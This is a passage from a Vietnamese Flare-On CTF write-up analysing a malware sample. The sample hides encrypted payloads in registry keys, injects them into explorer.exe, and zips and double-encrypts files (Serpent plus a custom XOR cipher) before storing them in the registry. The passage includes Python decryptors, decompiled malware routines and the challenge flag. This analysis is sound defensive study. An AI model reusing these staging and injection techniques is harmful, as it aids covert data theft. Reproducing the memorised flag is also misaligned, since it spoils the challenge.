  • Patch memory SID bằng windbg khi chạy trên máy chúng ta bằng chuỗi SID vừa tìm ở trên.
  • Quan sát giá trị seed -> 0x55707b4efb307bfa.
  • Các lần chạy sau đó không patch SID nữa mà patch seed luôn.

Sau khi patch xong, debug (mình đã ngồi bấm step in, step out rất nhiều) và quan sát trong IDA thì ta thấy:

  • Program này đọc registry key “HKEY_CURRENT_USER\Software\Timerpro\Columncurrent\WebsoftwareProcesstemplate” và “HKEY_CURRENT_USER\Software\Timerpro\Languagetheme\WebsoftwareProcesstemplate”.
  • Decrypt 2 giá trị trên bằng RSA (và Serpent).
  • Giải nén giá trị trên bằng ApLib.
  • Thực hiện inject 1 trong 2 giá trị trên vào explorer.exe. (Columncurrent cho x64, LanguageTheme cho x86).

Đến đây ta viết đoạn code để dump và decrypt các giá trị registry trên:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# python 3
import winreg
import os

def dump(subkey_name: str):
template = 'Software\\Timerpro\\'
hKey = winreg.OpenKey(winreg.HKEY_CURRENT_USER, template + subkey_name)
i = 0
try:
os.mkdir(subkey_name)
except OSError:
pass
while True:
try:
s = winreg.EnumValue(hKey, i)
with open(subkey_name + '\\' + s[0], 'wb') as f:
f.write(s[1])
i = i + 1
except Exception as e:
break
winreg.CloseKey(hKey)

if __name__ == '__main__':
dump('Columncurrent')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# python 3
import serpent
import hashlib
from binascii import a2b_hex, b2a_hex
from sys import argv

class PublicRSAKey:
def __init__(self, e: int, n:int):
self.e = e
self.n = n

def md5(s: bytes) -> bytes:
return hashlib.md5(s).digest()

def RSAPublicDecrypt(m: int, e: int, n: int) -> int:
# Calculate (m^e)%n
return pow(m,e,n)

def unsign_data(data: bytes, key: PublicRSAKey) -> tuple:
# return (True, data) if verify successfully
# else return (False, )
if len(data) <= 128:
return (False, )
ds = data[-128:]
ds = int.from_bytes(ds, 'big')
p = RSAPublicDecrypt(ds, key.e, key.n)
p = p.to_bytes(128, 'big')
if not p.startswith(b'\x00\x01'):
return (False, )
i = 2
while i < len(p):
if p[i] == 0:
break
i = i + 1
if i == len(p):
return (False, )
p = p[i + 1:]
signed_md5_hash = p[0:16]
serpent_key = p[16:32]
decrypted_size = int.from_bytes(p[32:36], 'little')
decrypted_data = serpent.serpent_cbc_decrypt(serpent_key, data[:-128], b'\x00'*16)[:decrypted_size]
md5_hash = md5(decrypted_data)
if signed_md5_hash == md5_hash:
return (True, decrypted_data)
return (False, )

if __name__ == '__main__':
if len(argv) != 2:
print ('[+] python dec.py <filename>')
exit(1)
n = \
"c3da263df172293373b0431e"+\
"e00bac4c3db723bee2d9ccc0a7ef8d03"+\
"68c33c577df7e64f09503437e9178533"+\
"c9f3b4d4eebd7fe1075e2e553939d43c"+\
"25eb8a89a5fd7ad5f8a52c20713ae878"+\
"cf2b1f322acfe8b7c55dad60b3520614"+\
"19fa713c903d9efc36baf95185880d03"+\
"ec165a51186cf1c323bc58c40b85fcbc"+\
"7fa162ad"
n = int.from_bytes(a2b_hex(n), 'big')
e = 0x10001
rsa_key = PublicRSAKey(e, n)
with open(argv[1], 'rb') as f:
data = f.read()
res = unsign_data(data, rsa_key)
if res[0] == True:
with open(argv[1] + '.decrypt', 'wb') as f:
f.write(res[1])
print ('[+] Unsigned %s (%d bytes -> %d bytes) !' % (argv[1], len(data), len(res[1])))
else:
print ('[+] Wrong signature !')
1
2
3
4
5
6
7
8
9
10
11
# python3
from sys import argv
import aplib

if __name__ == '__main__':
with open(argv[1], 'rb') as f:
data = f.read()
d = aplib.decompress(data[20:], True)
with open(argv[1] + '.decompressed', 'wb') as f:
f.write(d)
print ('[+] %s: %d -> %d bytes' % (argv[1], len(data), len(d)))

Với 3 đoạn code trên, ta decrypt được rất nhiều file, trong đó có vài file bắt đầu bằng “PX” (và cũng có file không decrypt được, có lẽ là vì những file đó không được encrypt theo cách này):

File này sẽ được malware decode trước khi inject vào process. Ta dùng code ở bài này để decode file PX về dạng PE file rồi dùng IDA phân tích:

Sau khi decode hết các file PX, ta có được rất nhiều file dll nhưng không biết chúng được load theo thứ tự nào. Có quá nhiều file nên việc phân tích tĩnh rất khó khăn.

Mình đã dành ra khoảng 10 ngày để phân tích tĩnh các file dll đó, nhưng vẫn không thấy được gì có ích cho việc tìm flag. Vì sắp hết thời gian nên mình đã dừng việc phân tích tĩnh lại để tìm một hướng đi khác.

Procmon to the rescue

Đoán rằng các file .dll trên sẽ được inject vào explorer.exe, ta dùng procmon để theo dõi explorer.exe (đừng quên patch seed):

Chạy file powershell và quan sát:

Ta thấy explorer đang cố gắng đọc hoặc ghi file gì đó ở “%appdata%\Microsoft\Oldsolution” và “%tmp%”. Tiếp theo, ta thử ném vào trong thư mục “Oldsolution” 1 file bất kỳ và làm lại như trên:

Lần này thì file chúng ta vừa tạo ra đã được program access. (Và nếu ta quay lại Oldsolution để xem thì file này cũng bị xoá luôn). Ta đến thư mục %tmp% để xem file B1FC.bin:

File của chúng ta đã bị nén lại (zip) và ghi ra %tmp%\B1FC.bin. Ngoài ra trong procmon còn 1 chỗ nữa thú vị:

Nó ghi gì đó vào registry, length = 1607200, nếu ta coi lại size của file B1FC.bin:

Ta có thể thấy gần bằng nhau, có thể đoán là file B1FC.bin đã được thêm padding, sau đó ghi lên registry. Ta thử xem “HKCU\Software\Timerpro\DiMap” chứa gì:

Vậy là file này còn bị mã hoá trước khi ghi vào registry. Biết được rằng file sẽ bị mã hoá rồi sau đó được ghi lên registry, ta có thể làm như sau:

  • Đặt breakpoint tại ZwSetValueKey (nếu bạn debug program này thì sẽ thấy nó xài rất nhiều hàm Zw, đó là lý do mình không đặt breakpoint tại RegSetValueExA và các hàm tương tự …)
  • Khi dừng lại tại breakpoint này ta kiểm tra xem key name có phải là “DiMap” không, nếu không thì continue.
  • Nếu là “DiMap”, ta bắt đầu quan sát stack trace, sau 1 vài stack call thì thấy hàm sub_180001000 của “WebmodeThemearchive.dll” dùng để mã hoá file zip.

Nó sẽ gọi hàm export có ordinal 27 của 8576b0d0.dll (file này thực ra là WebsoftwareProcesstemplate.dll), mà hàm 27 lại gọi hàm sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
__int64 __fastcall DE_EN_serpent256(__int64 dataIn, unsigned int a2, __int64 *pDataOut, unsigned int *pLenInAndOut, __int64 key16_byte, int isEncrypt)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v6 = 0i64;
_a4 = pLenInAndOut;
_a3 = pDataOut;
_a2 = a2;
_a1 = dataIn;
v11 = 8;
if ( isEncrypt )
{
v12 = (a2 + 15) & 0xFFFFFFF0;
if ( a2 != v12 )
{
v13 = DbgHeapAlloc_0300(v12);
v6 = v13;
if ( v13 )
{
j_ntdll_memset(v13, 0i64, v12);
j_nt_memcpy_558(v6, _a1, _a2);
}
_a1 = v6;
}
}
else
{
v12 = a2 & 0xFFFFFFF0;
}
if ( _a1 )
{
v14 = DbgHeapAlloc_0300(v12);
if ( v14 )
{
mb_init_serpent_238C(&ctx, key16_byte);
*_a3 = v14;
*_a4 = v12;
if ( v12 >> 4 )
{
v15 = v12 >> 4;
do
{
if ( isEncrypt )
{
mb_dec_serpent_4F8C(&ctx, _a1, v14);
}
else
{
mb_enc_serpent_8544(&ctx, _a1, v14);
}
_a1 += 4;
v14 += 4;
--v15;
}
while ( v15 );
}
v11 = 0;
}
}
if ( v6 )
{
DbgHeapFree_02F8(v6);
}
return v11;
}

Vậy là data zip của chúng ta bị mã hoá bằng SERPENT. Sau đó, data bị mã hoá được đưa tiếp vào hàm sub_180004BB3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __usercall sub_180004BB3(__int64 a1@<r12>)
{
__int64 v1; // rdi
__int64 (__fastcall *v2)(_QWORD); // rax
__int64 v3; // rdx
__int64 v4; // rcx

v1 = *(a1 + 24);
v2 = d6306e08_57;
LOWORD(v2) = d6306e08_57 - 0x454;
(v2)(*(a1 + 24), *(a1 + 40), *(qword_180006070 + 120), 0i64);// encrypt one more time
LOBYTE(v3) = 3;
LOWORD(v4) = 32639;
8576b0d0_79(v4, v3, v1);
}

Ở hình trên, d6306e08 là file WordlibSystemser.dll, hàm có số ordinal 57 nằm ở 0x1800028EC, vậy v2 = 0x1800028EC-0x454 = 0x180002498:

1
2
3
4
5
.text:0000000180002498                 public _43
.text:0000000180002498 _43 proc near ; DATA XREF: .rdata:off_18000F1F8↓o
.text:0000000180002498 ; .pdata:00000001800110F0↓o
.text:0000000180002498 jmp _43_0
.text:0000000180002498 _43 endp

Hàm này chính là hàm có ordinal 43, ta tới hàm này:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall 43_0(__int64 a1, unsigned int a2, int a3, int a4)
{
int v4; // er10
int v5; // er11
unsigned int v6; // edx
int v7; // ebx
_DWORD *v8; // rax
int v9; // er8
char v10; // cl
bool v11; // zf

v4 = 0;
v5 = 0;
v6 = a2 >> 2;
v7 = a3;
if ( v6 )
{
v8 = (_DWORD *)(a1 + 8);
do
{
v9 = *(v8 - 2);
if ( a4 && !v9 && v6 > 3 && !*(v8 - 1) && !*v8 && !v8[1] )
break;
v10 = v5;
++v8;
v5 ^= 1u;
v4 ^= v7 ^ __ROR4__(v9, 4 * v10);
v11 = v6-- == 1;
*(v8 - 3) = v4;
}
while ( !v11 );
}
}

Tóm lại: data zip của chúng ta sẽ bị mã hoá 2 lần trước khi ghi vào registry

  • Lần đầu là mã hoá Serpent (quan sát trong debugger, key là “GSPyrv3C79ZbR0k1”).
  • Lần sau là một đoạn custom crypto không quá khó (quan sát trong debugger, key luôn là 0xFB307BFA, nhưng phải patch đúng seed).

Giờ ta viết đoạn mã decrypt là xong:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# python3
import serpent

def rol32(n: int, i: int) -> int:
return ((n << i) & 0xFFFFFFFF) | (n >> (32 - i))

def decrypt_base(data: bytes, key: int):
assert 0 <= key <= 0xFFFFFFFF # 4 bytes key !
assert len(data) % 4 == 0 # size must be aligned
n = len(data) >> 2
data = [int.from_bytes(data[4*i:4*i+4], 'little') for i in range(n)]
data2 = [i for i in data]
for i in range(n):
if i == 0:
data2[i] = (key ^ data[i])
else:
data2[i] = (key ^ data[i]) ^ data[i - 1]
data2[i] = rol32(data2[i], 4*(i % 2))
r = []
for i in range(n):
for j in [0, 1, 2, 3]:
r.append((data2[i] >> (8*j)) & 0xFF)
return bytearray(r)

if __name__ == '__main__':
with open('DiMap', 'rb') as f:
data = f.read()
data = decrypt_base(data, 0xFB307BFA)
serpent_key = b'GSPyrv3C79ZbR0k1'
data = serpent.serpent_cbc_decrypt(serpent_key, data)
with open('out.zip', 'wb') as f:
f.write(data)
print ('[+] Done!')

Sau khi chạy đoạn code trên ta được file zip mới, chứa flag:

1
r4d1x_m4l0rum_357_cup1d1745@flare-on.com